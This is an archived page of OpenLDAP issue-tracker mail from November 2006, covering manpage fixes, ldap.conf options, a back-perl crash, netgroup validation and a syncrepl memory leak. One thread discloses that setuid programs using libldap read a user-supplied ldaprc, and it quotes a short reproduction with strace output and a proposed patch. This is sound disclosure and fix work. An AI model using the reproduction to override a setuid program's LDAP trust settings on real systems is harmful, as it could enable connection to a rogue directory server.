ghenry(a)suretecsystems.com wrote: > Full_Name: Gavin Henry > Version: 2.4 > OS: FC6 > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (212.159.59.85) > > > Dear All, > > In 2.4 would it be possible to let the "credentials" setting under "syncrepl" in > a consumer to be encrypted, and not plain text, like the rootpw can be? No, that is impossible. A syncrepl consumer is a client. A client must have the plaintext in order to authenticate. -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

1 0

Re: (ITS#4754) Allow a Consumer Syncrepl credentials= to be encrypted liek rootpw
by ando＠sys-net.it 16 Nov '06

16 Nov '06

ghenry(a)suretecsystems.com wrote: > In 2.4 would it be possible to let the "credentials" setting under "syncrepl" in > a consumer to be encrypted, and not plain text, like the rootpw can be? > Please don't use the ITS to ask software usage (or development trends) questions. The syncrepl consumer acts as a client with respect to the producer DSA; as a consequence, to be able to perform simple bind, it needs to provide the credentials in cleartext. Either you use a bindmethod different from simple (e.g. SASL) which does not require cleartext credentials (e.g. GSSAPI) or you'll ever need to provide cleartext credentials. This ITS will be closed. p. Ing. Pierangelo Masarati OpenLDAP Core Team SysNet s.n.c. Via Dossi, 8 - 27100 Pavia - ITALIA http://www.sys-net.it ------------------------------------------ Office: +39.02.23998309 Mobile: +39.333.4963172 Email: pierangelo.masarati(a)sys-net.it ------------------------------------------

1 0

(ITS#4754) Allow a Consumer Syncrepl credentials= to be encrypted liek rootpw
by ghenry＠suretecsystems.com 16 Nov '06

16 Nov '06

Full_Name: Gavin Henry Version: 2.4 OS: FC6 URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (212.159.59.85) Dear All, In 2.4 would it be possible to let the "credentials" setting under "syncrepl" in a consumer to be encrypted, and not plain text, like the rootpw can be? Many thanks, Gavin. -- Kind Regards, Gavin Henry. Managing Director. T +44 (0) 1224 279484 M +44 (0) 7930 323266 F +44 (0) 1224 824887 E ghenry(a)suretecsystems.com Open Source. Open Solutions(tm). http://www.suretecsystems.com/

1 0

ITS#3812 database config documentation
by hyc＠symas.com 16 Nov '06

16 Nov '06

I've committed a preliminary slapd-config.5 manpage to HEAD. In anticipation of deleting slurpd from RE24, I have commented out all of the slurpd-related keywords. Most of the text is the same as in slapd.conf(5) but I've changed the organization to better reflect the actual implementation. There may be options that I've missed. Please review and send patches / corrections / comments. -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

1 0

Re: (ITS#4753) Minor section error in slapo-retcode manpage
by ando＠sys-net.it 15 Nov '06

15 Nov '06

gael.roualland(a)oleane.net wrote: > Full_Name: Gaël Roualland > Version: 2.3.30 > OS: Linux > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (213.56.0.199) > > > There is a minor typo in slapo-retcode manpage nroff header. > The first line reads: > > .TH SLAPO-RETCODE5 "RELEASEDATE" "OpenLDAP LDVERSION" > > A blank is missing between SLAPO-RETCODE and the section 5. > Fixed, thanks. p. Ing. Pierangelo Masarati OpenLDAP Core Team SysNet s.n.c. Via Dossi, 8 - 27100 Pavia - ITALIA http://www.sys-net.it ------------------------------------------ Office: +39.02.23998309 Mobile: +39.333.4963172 Email: pierangelo.masarati(a)sys-net.it ------------------------------------------

1 0

Re: (ITS#4675) slapd bus error when searching in a subtree
by ghen＠telenet.be 15 Nov '06

15 Nov '06

Why was tick ticket closed? The problem still exists. Geert

1 0

(ITS#4753) Minor section error in slapo-retcode manpage
by gael.roualland＠oleane.net 15 Nov '06

15 Nov '06

Full_Name: Gaël Roualland Version: 2.3.30 OS: Linux URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (213.56.0.199) There is a minor typo in slapo-retcode manpage nroff header. The first line reads: .TH SLAPO-RETCODE5 "RELEASEDATE" "OpenLDAP LDVERSION" A blank is missing between SLAPO-RETCODE and the section 5.

1 0

Re: (ITS#4750) libldap initialization of ~/.ldaprc and setuid
by Russ Allbery 14 Nov '06

14 Nov '06

Quanah Gibson-Mount <quanah(a)stanford.edu> writes: > Russ Allbery <rra(a)debian.org> wrote: >> So, what does it do, then? How doesn't it work? What would work >> instead given the above constraint? > I'll note I opened ITS#4750 upstream on this issue. Howard has said > that if a good security argument can be made, it could be committed into > the current (2.3+ releases). The security argument is made in the Debian bug: <http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=387467> specifically: | > I'm curious about this, are you sure a libldap would read an "ldaprc" | > file when run from a setuid program? | | Yep: | | # ls -l /usr/bin/passwd | -rwsr-xr-x 1 root root 32296 2006-08-25 19:49 /usr/bin/passwd | # mv /etc/ldap/ldap.conf /etc/ldap/ldap.conf.away | | $ cd /tmp | $ passwd testuser | passwd: unknown user testuser | $ echo 'TLS_CACERT /etc/ssl/certs/ldapca.pem' > ldaprc | $ passwd testuser | passwd: You may not view or modify password information for testuser. | | > Or that it'd read the | > current-directory ldaprc in that situation? Can you provide an strace | > showing this happening? | | The interesting fragments: | | execve("/usr/bin/passwd", ["passwd", "testuser"], [/* 16 vars */]) = 0 | [...] | access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory) | [...] | getuid32() = 1000 | [...] | geteuid32() = 0 | [...] | open("/etc/libnss-ldap.conf", O_RDONLY) = 3 | [...] | open("/etc/ldap/ldap.conf", O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such file or directory) | open("ldaprc", O_RDONLY|O_LARGEFILE) = 3 | | There is no path component in the last open(), so ldaprc is always read | from the current directory. | | > Also, the user would have to have access to more than the ldaprc file, | > no? Since the user couldn't control what server is being connected to | > without more control on the system, or control over the DNS, etc. | | True, but DNS poisoning is trivial (especially in a large local network | with lots of not-so-trusted machines). If I'd trust the network I'd have | no need for TLS at all... Clearly the user should have an /etc/ldap/ldap.conf under any normal circumstance, and a configuration that does not is most likely broken. However, my argument is that while there may be cases where a user creating a security vulnerability through a broken configuration is simply the user's problem, I believe this is a case where the action taken has no intuitive connection to security. This was initially noticed because a user was putting all their LDAP options in /etc/libnss-ldap.conf rather than in /etc/ldap/ldap.conf, which may be broken but which is not something that is obviously broken from a *security* standpoint. Having a library attempt to open files in the current directory and read them for configuration is highly non-intuitive and unexpected. Having it read configuration out of the user's home directory is less so, but in the case of setuid programs is still rather disturbing, particularly since the setuid program has no direct control over this behavior. So, I see two potential problems here: * A user can override the LDAP configuration of a setuid binary and cause it to, for instance, trust LDAP servers that it wouldn't otherwise trust, which is a potential attack (albeit a difficult one to exploit). If the setuid binary knows that it's using LDAP, it can avoid this via an environment variable, but frequently given such things as NSS plugins and PAM modules the binary isn't going to know that LDAP is involved. The primary problem here is that said setuid binary will read the configuration file based on HOME from the enviroment (it appears to me from the code) or the current directory (the above example), which violates one of the standard secure programming practices for setuid binaries (never trust the process environment including working directory that you're handed by the user). * The library may fall back to reading a file out of the current directory. I don't know if this behavior persists in 2.3; the above example is from 2.1. If it does persist, it opens other potential problems that don't involve setuid but instead involve creating files in the current working directory of a process one wishes to attack. Again, due to the plugin nature of current operating systems, the process being attacked may not even be aware that it's using LDAP. I think this exploit is unlikely to occur in practice since it requires some attacker control over the home directory of the process being attacked, but it's theoretically present. Steve's patch addresses the first issue but doesn't do much about the second, so it's an improvement but I'm not sure it's a complete solution. Unfortunately, this support is also important for the current functionality of the command-line tools and doubtless other programs that use the LDAP libraries. What we ideally need is some way for a user of the LDAP libraries to say, through the API, that user configuration files should not be loaded but that isn't a process-wide flag that interferes with the expected behavior of other uses of LDAP elsewhere in the same process. And as mentioned, I don't see an obvious way to do that without changing the API, which is, of course, a pain. In the meantime, the patch isn't exactly something I'd want to take upstream either, but it at least addresses the most obvious problem, and more problematically I don't see a better way of addressing it other than saying "well, anyone without a system-wide ldap.conf loses." And I wouldn't be comfortable trying to defend that position. I suppose another possible workaround specific to the NSS module (and probably the PAM module as well) would be to proactively check whether there's a system-wide ldap.conf file and fail immediately if there isn't. That leaves the problem open for other setuid uses of the LDAP libraries, but I don't expect there are a lot of those and what ones there may be are more likely to be able to use the LDAPNOINIT flag. -- Russ Allbery (rra(a)debian.org) <http://www.eyrie.org/~eagle/>

2 6

Re: (ITS#4750) libldap initialization of ~/.ldaprc and setuid
by hyc＠symas.com 14 Nov '06

14 Nov '06

quanah(a)stanford.edu wrote: > --On Tuesday, November 14, 2006 5:06 AM +0000 Kurt(a)OpenLDAP.org wrote: > > >> I note that nss/pam-ldap setting NOINIT (or otherwise mucking >> with libldap options) might break LDAP-enabled programs. But >> that's another matter. >> >> Anyways, I think the only good fix (for this and many other >> larger problems) is a library redesign/rewrite. > > Okay. > > I note I don't find any mention of NOINIT in the nss_ldap or pam_ldap > source, maybe it was removed at some point? I'm looking at the latest code > from PADL. > > Unless you mean patching nss_ldap/pam_ldap to set "LDAPNOINIT" in the > environment? Which has other problems. For the specific case of nss/pam_ldap the obvious solution is to require that they never use default values anywhere. Generally that is already what happens anyway. -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

1 0

(ITS#4752) back-config Adds are not atomic
by hyc＠OpenLDAP.org 14 Nov '06

14 Nov '06

Full_Name: Howard Chu Version: HEAD/23/24 OS: URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (76.168.84.21) Submitted by: hyc When LDAPAdding various types of entries under cn=config, failures in some later portion of the entry will cause the operation to fail but anything already set remains set. The current approach of using check_vals to validate before doing the main processing is inadequate. It may be possible to extend the current pre-check approach, otherwise we'll need to do something like define destructors for everything.

1 0

(ITS#4751) back-perl crashing with anonymous search request
by rhafer＠suse.de 14 Nov '06

14 Nov '06

Full_Name: Ralf Haferkamp Version: HEAD, RE23 OS: SUSE Linux 10.1 URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (89.166.155.116) I created a simple back-perl setup with the SampleLDAP.pm Module (slightly enhanced with a bind() method that just returns SUCCESS) from CVS Head and slapd crashed on me immediately on receiving the first anonymous search request. It survived however when I issued bind requests followed by search request. While digging through the code I found that back_perl_bind calls "PERL_SET_CONTEXT( PERL_INTERPRETER );" since a few revisions. All other back_perl_* functions (search, delete, modify, ...) do not call PERL_SET_CONTEXT, adding that seems to fix the crash. The perlembed man-pages state related to PERL_SET_CONTEXT: "PERL_SET_CONTEXT(interp) should also be called whenever "interp" is used by a thread that did not create it (using either perl_alloc(), ..." I'll commit a fix that adds PERL_SET_CONTEXT calls to the other functions as well (wrapped behind #ifdefs just like in back_perl_bind()).

1 0

Re: (ITS#4750) libldap initialization of ~/.ldaprc and setuid
by quanah＠stanford.edu 13 Nov '06

13 Nov '06

--On Tuesday, November 14, 2006 5:06 AM +0000 Kurt(a)OpenLDAP.org wrote: > I note that nss/pam-ldap setting NOINIT (or otherwise mucking > with libldap options) might break LDAP-enabled programs. But > that's another matter. > > Anyways, I think the only good fix (for this and many other > larger problems) is a library redesign/rewrite. Okay. I note I don't find any mention of NOINIT in the nss_ldap or pam_ldap source, maybe it was removed at some point? I'm looking at the latest code from PADL. Unless you mean patching nss_ldap/pam_ldap to set "LDAPNOINIT" in the environment? Which has other problems. >From the source of libldap: init.c: if( getenv("LDAPNOINIT") != NULL ) { --Quanah -- Quanah Gibson-Mount Principal Software Developer ITS/Shared Application Services Stanford University GnuPG Public Key: http://www.stanford.edu/~quanah/pgp.html

1 0

Re: (ITS#4750) libldap initialization of ~/.ldaprc and setuid
by Kurt＠OpenLDAP.org 13 Nov '06

13 Nov '06

It was my intent when ldap.conf(5) was designed that it only provide defaults when selected by the user. For instance, a hostname when the user provides none. While libldap always read ldap.conf/.ldaprc, that wasn't considered a big deal. However, with various init options which are used without program selection, programs need now to provide an option to disable initialization. Ugh. I have noted that if I had to do it all over again, libldap would never read ldap.conf(5). Instead the program would have to separately call out to facility to obtain defaults. Some of RRA suggests are not workable. For instance, as now some options can only be set via ldap.conf(5)/.ldaprc, disabling it for root disallows root to use all features of programs and the library. But this is all water under the bridge. The library is what it is. Changing it would likely break other things. I note that nss/pam-ldap setting NOINIT (or otherwise mucking with libldap options) might break LDAP-enabled programs. But that's another matter. Anyways, I think the only good fix (for this and many other larger problems) is a library redesign/rewrite. Kurt At 08:04 PM 11/13/2006, quanah(a)stanford.edu wrote: >Full_Name: Quanah Gibson-Mount >Version: All >OS: NA >URL: >Submission from: (NULL) (171.66.155.86) > > >The debian folks committed the following patch: > >Modified: openldap/trunk-2.1/libraries/libldap/init.c >=================================================================== >--- openldap/trunk-2.1/libraries/libldap/init.c 2006-11-12 10:08:20 UTC (rev >749) >+++ openldap/trunk-2.1/libraries/libldap/init.c 2006-11-14 00:54:38 UTC (rev >750) >@@ -252,6 +252,12 @@ > char *home; > char *path = NULL; > >+ if (getuid() != geteuid()) { >+ /* Caller is setuid -- don't read any per-user configs in >+ these circumstances, as this may not be safe */ >+ return; >+ } >+ > if (file == NULL) { > /* no file name */ > return; > > >You can see this is against 2.1, but the code is essentially the same in OL >HEAD. > >The reason was: > >+ * Don't check for user configuration files when the caller is setuid; >+ addresses #387467, which is a potential security hole allowing >+ libnss-ldap settings to be overridden. Thanks to Stephen Frost for >+ bringing this to my attention. > > >which Howard note is not really the right way to do this. > >[19:07] Howard Chu: that's the wrong fix >[19:07] Howard Chu: libnss-ldap should set NOINIT for its own usage. >[19:09] Quanah: so this patch doesn't really fix anything? >[19:09] Howard Chu: probably not. > > >However, one of my co-workers notes: > > >19:48 <rra@home> Well, I appreciate Howard's opinion here, but that's a crappy >fix because it means that every single binary that uses the LDAP libraries > and may be setuid has to know to do this. >19:49 <rra@home> libnss-ldap should *also* set NOINIT, of course. >19:50 <rra@home> It sounded like it was reading dotfiles out of the user's home >directory, though. >19:50 <rra@home> Is that really what it's doing? >19:50 <rra@home> Something along those lines? >19:50 <Q> http://www.openldap.org/devel/cvsweb.cgi/libraries/libldap/init.c?hideattic… >19:50 <Q> it can read .ldaprc, yes >19:50 <rra@home> Libraries reading dotfiles is all by itself pretty evil. >19:51 <rra@home> That to me violates abstraction layers. >19:51 <rra@home> Applications are not going to expect libraries to do that. >19:51 <rra@home> The *right* solution would to me be to not do that; failing >that, I think OpenLDAP should bear the responsibility to do it securely, which > would include not reading user .ldaprc files when running as root. (There >are other ways to prevent that, of course.) >19:55 <rra@home> Basically, my argument is more that there should be a mode that >loads user configuration, but it probably shouldn't be the default > interface. >19:55 <rra@home> Anyway, Howard's certainly right that libnss-ldap needs to be >fixed regardless to pass that flag. > > >So, thoughts appreciated. > >--Quanah

1 0

(ITS#4750) libldap initialization of ~/.ldaprc and setuid
by quanah＠stanford.edu 13 Nov '06

13 Nov '06

Full_Name: Quanah Gibson-Mount Version: All OS: NA URL: Submission from: (NULL) (171.66.155.86) The debian folks committed the following patch: Modified: openldap/trunk-2.1/libraries/libldap/init.c =================================================================== --- openldap/trunk-2.1/libraries/libldap/init.c 2006-11-12 10:08:20 UTC (rev 749) +++ openldap/trunk-2.1/libraries/libldap/init.c 2006-11-14 00:54:38 UTC (rev 750) @@ -252,6 +252,12 @@ char *home; char *path = NULL; + if (getuid() != geteuid()) { + /* Caller is setuid -- don't read any per-user configs in + these circumstances, as this may not be safe */ + return; + } + if (file == NULL) { /* no file name */ return; You can see this is against 2.1, but the code is essentially the same in OL HEAD. The reason was: + * Don't check for user configuration files when the caller is setuid; + addresses #387467, which is a potential security hole allowing + libnss-ldap settings to be overridden. Thanks to Stephen Frost for + bringing this to my attention. which Howard note is not really the right way to do this. [19:07] Howard Chu: that's the wrong fix [19:07] Howard Chu: libnss-ldap should set NOINIT for its own usage. [19:09] Quanah: so this patch doesn't really fix anything? [19:09] Howard Chu: probably not. However, one of my co-workers notes: 19:48 <rra@home> Well, I appreciate Howard's opinion here, but that's a crappy fix because it means that every single binary that uses the LDAP libraries and may be setuid has to know to do this. 19:49 <rra@home> libnss-ldap should *also* set NOINIT, of course. 19:50 <rra@home> It sounded like it was reading dotfiles out of the user's home directory, though. 19:50 <rra@home> Is that really what it's doing? 19:50 <rra@home> Something along those lines? 19:50 <Q> http://www.openldap.org/devel/cvsweb.cgi/libraries/libldap/init.c?hideattic… 19:50 <Q> it can read .ldaprc, yes 19:50 <rra@home> Libraries reading dotfiles is all by itself pretty evil. 19:51 <rra@home> That to me violates abstraction layers. 19:51 <rra@home> Applications are not going to expect libraries to do that. 19:51 <rra@home> The *right* solution would to me be to not do that; failing that, I think OpenLDAP should bear the responsibility to do it securely, which would include not reading user .ldaprc files when running as root. (There are other ways to prevent that, of course.) 19:55 <rra@home> Basically, my argument is more that there should be a mode that loads user configuration, but it probably shouldn't be the default interface. 19:55 <rra@home> Anyway, Howard's certainly right that libnss-ldap needs to be fixed regardless to pass that flag. So, thoughts appreciated. --Quanah

1 0

Re: (ITS#4747) Function nisNetgroupTripleValidate fails on underscores
by temp1＠ips.gov.au 13 Nov '06

13 Nov '06

G'Day Kurt Yes, RFC 2307 is restrictive re: limiting the legal character set for the nisNetgroupTripleSyntax values to a "keystring" (ref: RFC 2252). What I find irksome probably boils down to:- Since LDAP was originally designed to gateway requests to X.500 servers that the character set of an IA5String should be legal. (RFC 2307, section 2.4, X.500 nisNetgroupTripleSyntax) With the added twist of the knife, that underscores are legal in the user CN's when doing the nisMapName=netgroup.byuser Note: OS specific "bad chars" still need to be taken into account by the implementer. Since the "nisNetgroupTripleSyntax" is unlikely to change from "keystring" to IA5String in the near future for OpenLDAP, I think I'll have to consider our options re: netgroup configuration and use. Regards IT Manager 2 Kurt D. Zeilenga wrote: > At 09:26 PM 11/12/2006, temp1(a)ips.gov.au wrote: >> Full_Name: IT Manager 2 >> Version: 2.3 & 2.4 >> OS: FreeBSD 6.2-PRERELEASE #0: Thu Oct 19 11:23:22 EST 2006 >> URL: >> Submission from: (NULL) (220.233.132.66) >> >> >> Src ./servers/slapd/schema_init.c >> Function nisNetgroupTripleValidate >> >> Fails validate of NIS Netgroup triplet when an underscore is used in a username, >> hostname or domainname. > > I believe this is the intended behavior. > >> Which is allowable ie username bad chars are " ,\t:+&#%$^()!@~*?<>=|\\/\"". > > RFC 2307 is more restrictive. > > >> suggest change line >> } else if ( !AD_CHAR( *p ) ) { >> to >> } else if ( !(AD_CHAR( *p ) || (*p) == '_' ) ) { >> >> Regards >> IT Manager 2 > >

1 0

Re: (ITS#4749) Missed option in ldap.conf(5)
by ando＠sys-net.it 13 Nov '06

13 Nov '06

Kurt(a)OpenLDAP.org wrote: > Same applies to timeouts as well. Basically, items are intended > to provide defaults for applications which say "use default". > Having options, such as this and various timeouts, which get used > by the library without application saying "use default" are > quite problematic and should be avoided. > See my comment above; ldap.conf(5) sounds like a good place to put parameters that existing applications wouldn't allow. Maybe allowing things like timeouts as user-only would be a solution, since a user can force LDAPCONF for specific applications and alter their behavior. By now, I'd remove the RESTART option but leave the NETWORK_TIMEOUT in place. p. Ing. Pierangelo Masarati OpenLDAP Core Team SysNet s.n.c. Via Dossi, 8 - 27100 Pavia - ITALIA http://www.sys-net.it ------------------------------------------ Office: +39.02.23998309 Mobile: +39.333.4963172 Email: pierangelo.masarati(a)sys-net.it ------------------------------------------

1 0

Re: (ITS#4749) Missed option in ldap.conf(5)
by ando＠sys-net.it 13 Nov '06

13 Nov '06

hyc(a)symas.com wrote: > As I recall there was some debate about making this available in > ldap.conf, since setting it globally can break some applications that > aren't expecting one behavior or another. I believe the option should > remain undocumented, and the support for parsing it from ldap.conf > should likely be removed. It should only be available when a program > specifically requests it via ldap_set_option. > OK; I don't recall discussions about that. I've cleaned up code and man pages in HEAD. Maybe parsing could be only allowed from user files, but right now I'm just removing it. p. Ing. Pierangelo Masarati OpenLDAP Core Team SysNet s.n.c. Via Dossi, 8 - 27100 Pavia - ITALIA http://www.sys-net.it ------------------------------------------ Office: +39.02.23998309 Mobile: +39.333.4963172 Email: pierangelo.masarati(a)sys-net.it ------------------------------------------

1 0

Re: (ITS#4749) Missed option in ldap.conf(5)
by Kurt＠OpenLDAP.org 13 Nov '06

13 Nov '06

At 02:16 PM 11/13/2006, hyc(a)symas.com wrote: >As I recall there was some debate about making this available in >ldap.conf, since setting it globally can break some applications that >aren't expecting one behavior or another. I believe the option should >remain undocumented, and the support for parsing it from ldap.conf >should likely be removed. It should only be available when a program >specifically requests it via ldap_set_option. Same applies to timeouts as well. Basically, items are intended to provide defaults for applications which say "use default". Having options, such as this and various timeouts, which get used by the library without application saying "use default" are quite problematic and should be avoided. Kurt

1 0

Re: (ITS#4749) Missed option in ldap.conf(5)
by hyc＠symas.com 13 Nov '06

13 Nov '06

ando(a)sys-net.it wrote: > tiamat(a)komi.mts.ru wrote: >> Full_Name: Alex Deiter >> Version: 2.3.29 >> OS: Solaris 9 sparc >> URL: ftp://ftp.openldap.org/incoming/ >> Submission from: (NULL) (217.66.145.224) >> >> >> Hi, >> >> I have found undocumented parameter for ldap.conf in libraries/libldap/init.c: >> RESTART, >> and has written the missed section for ldap.conf(5): >> >> ftp://ftp.openldap.org/incoming/alex-deiter-061111.patch >> > This option has been recently documented in ldap_get_option(3), but > honestly it's not clear to me what its intended usage is. I'll check > your patch and eventually apply it to HEAD. As I recall there was some debate about making this available in ldap.conf, since setting it globally can break some applications that aren't expecting one behavior or another. I believe the option should remain undocumented, and the support for parsing it from ldap.conf should likely be removed. It should only be available when a program specifically requests it via ldap_set_option. -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

1 0

Re: (ITS#4749) Missed option in ldap.conf(5)
by ando＠sys-net.it 13 Nov '06

13 Nov '06

tiamat(a)komi.mts.ru wrote: > Full_Name: Alex Deiter > Version: 2.3.29 > OS: Solaris 9 sparc > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (217.66.145.224) > > > Hi, > > I have found undocumented parameter for ldap.conf in libraries/libldap/init.c: > RESTART, > and has written the missed section for ldap.conf(5): > > ftp://ftp.openldap.org/incoming/alex-deiter-061111.patch > This option has been recently documented in ldap_get_option(3), but honestly it's not clear to me what its intended usage is. I'll check your patch and eventually apply it to HEAD. Thanks, p.

1 0

Re: (ITS#4748) Implement [NETWORK_]TIMEOUT options for ldap.conf
by ando＠sys-net.it 13 Nov '06

13 Nov '06

tiamat(a)komi.mts.ru wrote: > Full_Name: Alex Deiter > Version: 2.3.29 > OS: Solaris 9 sparc > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (217.66.145.224) > > > Hi, > > Please review my patch which implement two new ldap.conf options: TIMEOUT and > NETWORK_TIMEOUT. These options are very useful to the wide list of applications, > which do not operate these parameters directly: samba, isc dhcp/bind, sendmail > and many other things. > > I offer two variants: with use ldap_set_option: > > ftp://ftp.openldap.org/incoming/alex-deiter-061112.patch > > and without it: > > ftp://ftp.openldap.org/incoming/alex-deiter-061113.patch > Usually, only patches for HEAD code are considered, unless they are specifically intended to fix bugs in release code. TIMEOUT is right now unused in the code; have no idea what it was originally intended for. Support for NETWORK_TIMEOUT in ldap.conf is already implemented in HEAD; OpenLDAP 2.3 is feature frozen, so it's unlikely that it will be backported, as it's not a major bug but rather a missing feature. p.

1 0

(ITS#4749) Missed option in ldap.conf(5)
by tiamat＠komi.mts.ru 13 Nov '06

13 Nov '06

Full_Name: Alex Deiter Version: 2.3.29 OS: Solaris 9 sparc URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (217.66.145.224) Hi, I have found undocumented parameter for ldap.conf in libraries/libldap/init.c: RESTART, and has written the missed section for ldap.conf(5): ftp://ftp.openldap.org/incoming/alex-deiter-061111.patch Thanks a lot!

1 0

(ITS#4748) Implement [NETWORK_]TIMEOUT options for ldap.conf
by tiamat＠komi.mts.ru 13 Nov '06

13 Nov '06

Full_Name: Alex Deiter Version: 2.3.29 OS: Solaris 9 sparc URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (217.66.145.224) Hi, Please review my patch which implement two new ldap.conf options: TIMEOUT and NETWORK_TIMEOUT. These options are very useful to the wide list of applications, which do not operate these parameters directly: samba, isc dhcp/bind, sendmail and many other things. I offer two variants: with use ldap_set_option: ftp://ftp.openldap.org/incoming/alex-deiter-061112.patch and without it: ftp://ftp.openldap.org/incoming/alex-deiter-061113.patch Thanks a lot!

1 0

Re: (ITS#4747) Function nisNetgroupTripleValidate fails on underscores
by Kurt＠OpenLDAP.org 12 Nov '06

12 Nov '06

At 09:26 PM 11/12/2006, temp1(a)ips.gov.au wrote: >Full_Name: IT Manager 2 >Version: 2.3 & 2.4 >OS: FreeBSD 6.2-PRERELEASE #0: Thu Oct 19 11:23:22 EST 2006 >URL: >Submission from: (NULL) (220.233.132.66) > > >Src ./servers/slapd/schema_init.c >Function nisNetgroupTripleValidate > >Fails validate of NIS Netgroup triplet when an underscore is used in a username, >hostname or domainname. I believe this is the intended behavior. >Which is allowable ie username bad chars are " ,\t:+&#%$^()!@~*?<>=|\\/\"". RFC 2307 is more restrictive. >suggest change line > } else if ( !AD_CHAR( *p ) ) { > to > } else if ( !(AD_CHAR( *p ) || (*p) == '_' ) ) { > >Regards >IT Manager 2

1 0

(ITS#4747) Function nisNetgroupTripleValidate fails on underscores
by temp1＠ips.gov.au 12 Nov '06

12 Nov '06

Full_Name: IT Manager 2 Version: 2.3 & 2.4 OS: FreeBSD 6.2-PRERELEASE #0: Thu Oct 19 11:23:22 EST 2006 URL: Submission from: (NULL) (220.233.132.66) Src ./servers/slapd/schema_init.c Function nisNetgroupTripleValidate Fails validate of NIS Netgroup triplet when an underscore is used in a username, hostname or domainname. Which is allowable ie username bad chars are " ,\t:+&#%$^()!@~*?<>=|\\/\"". suggest change line } else if ( !AD_CHAR( *p ) ) { to } else if ( !(AD_CHAR( *p ) || (*p) == '_' ) ) { Regards IT Manager 2

1 0

(ITS#4746) memory leak in syncrepl consumer
by hyc＠OpenLDAP.org 12 Nov '06

12 Nov '06

Full_Name: Howard Chu Version: RE23 OS: URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (76.168.84.21) Submitted by: hyc syncrepl_updateCookie leaks the CSN that it queues up. Detected with valgrind.

1 0

Re: (ITS#4742) parameter unique_attributes and unknown attribute types
by hyc＠symas.com 11 Nov '06

11 Nov '06

Pierangelo Masarati wrote: > Howard Chu wrote: >> OK. And we have usually used DEBUG_ANY for fatal messages of this >> type. The point I'm making now is that config errors are no longer >> always fatal; it depends on whether we're starting up or already running. > But right now all errors like that are LDAP_DEBUG_CONFIG. Since tools > now run with LDAP_DEBUG_NONE set, ORin LDAP_DEBUG_NONE to fatal messages > would let them always pop up with tools __and__ run-time; run-time it > shouldn't be a big deal, it's just another informative message in the > logs; with the tools it should make the difference. I have no > preference for either way: add LDAP_DEBUG_CONFIG_FATAL, enabled by > default in tools, or OR config messages with LDAP_DEBUG_NONE. OK, that makes sense. Perhaps we should define LDAP_DEBUG_ERROR (or _FATAL) as an alias of LDAP_DEBUG_NONE. -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

1 0

Re: (ITS#4742) parameter unique_attributes and unknown attribute types
by ando＠sys-net.it 11 Nov '06

11 Nov '06

Howard Chu wrote: > OK. And we have usually used DEBUG_ANY for fatal messages of this > type. The point I'm making now is that config errors are no longer > always fatal; it depends on whether we're starting up or already running. But right now all errors like that are LDAP_DEBUG_CONFIG. Since tools now run with LDAP_DEBUG_NONE set, ORin LDAP_DEBUG_NONE to fatal messages would let them always pop up with tools __and__ run-time; run-time it shouldn't be a big deal, it's just another informative message in the logs; with the tools it should make the difference. I have no preference for either way: add LDAP_DEBUG_CONFIG_FATAL, enabled by default in tools, or OR config messages with LDAP_DEBUG_NONE. p. Ing. Pierangelo Masarati OpenLDAP Core Team SysNet s.n.c. Via Dossi, 8 - 27100 Pavia - ITALIA http://www.sys-net.it ------------------------------------------ Office: +39.02.23998309 Mobile: +39.333.4963172 Email: pierangelo.masarati(a)sys-net.it ------------------------------------------

1 0

Re: (ITS#4742) parameter unique_attributes and unknown attribute types
by hyc＠symas.com 11 Nov '06

11 Nov '06

ando(a)sys-net.it wrote: > hyc(a)symas.com wrote: >> Another possibility would be to always enable LDAP_DEBUG_CONFIG for the >> tools. The only reason I suggest this is because I would prefer that >> runtime configuration errors are only logged when specifically >> requested, not at DEBUG_ANY. Since the error messages are already >> returnes to the client in the protocol, it's not always necessary to log >> them separately. >> > The point is that I'd like to separate informative messages about > configuration (LDAP_DEBUG_CONFIG) from __the__ message that described > why slaptest failed (or slapd refuses to start). Right now, either you > get all (which is annoying) or none (which is frustrating). Apparently, > unless we hijack LDAP_DEBUG_NONE for the duration of config parsing, and > OR it to all messages followed by "return ARG_BAD_CONF;", we need > another LDAP_DEBUG_*. OK. And we have usually used DEBUG_ANY for fatal messages of this type. The point I'm making now is that config errors are no longer always fatal; it depends on whether we're starting up or already running. -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

1 0

Re: (ITS#4742) parameter unique_attributes and unknown attribute types
by ando＠sys-net.it 11 Nov '06

11 Nov '06

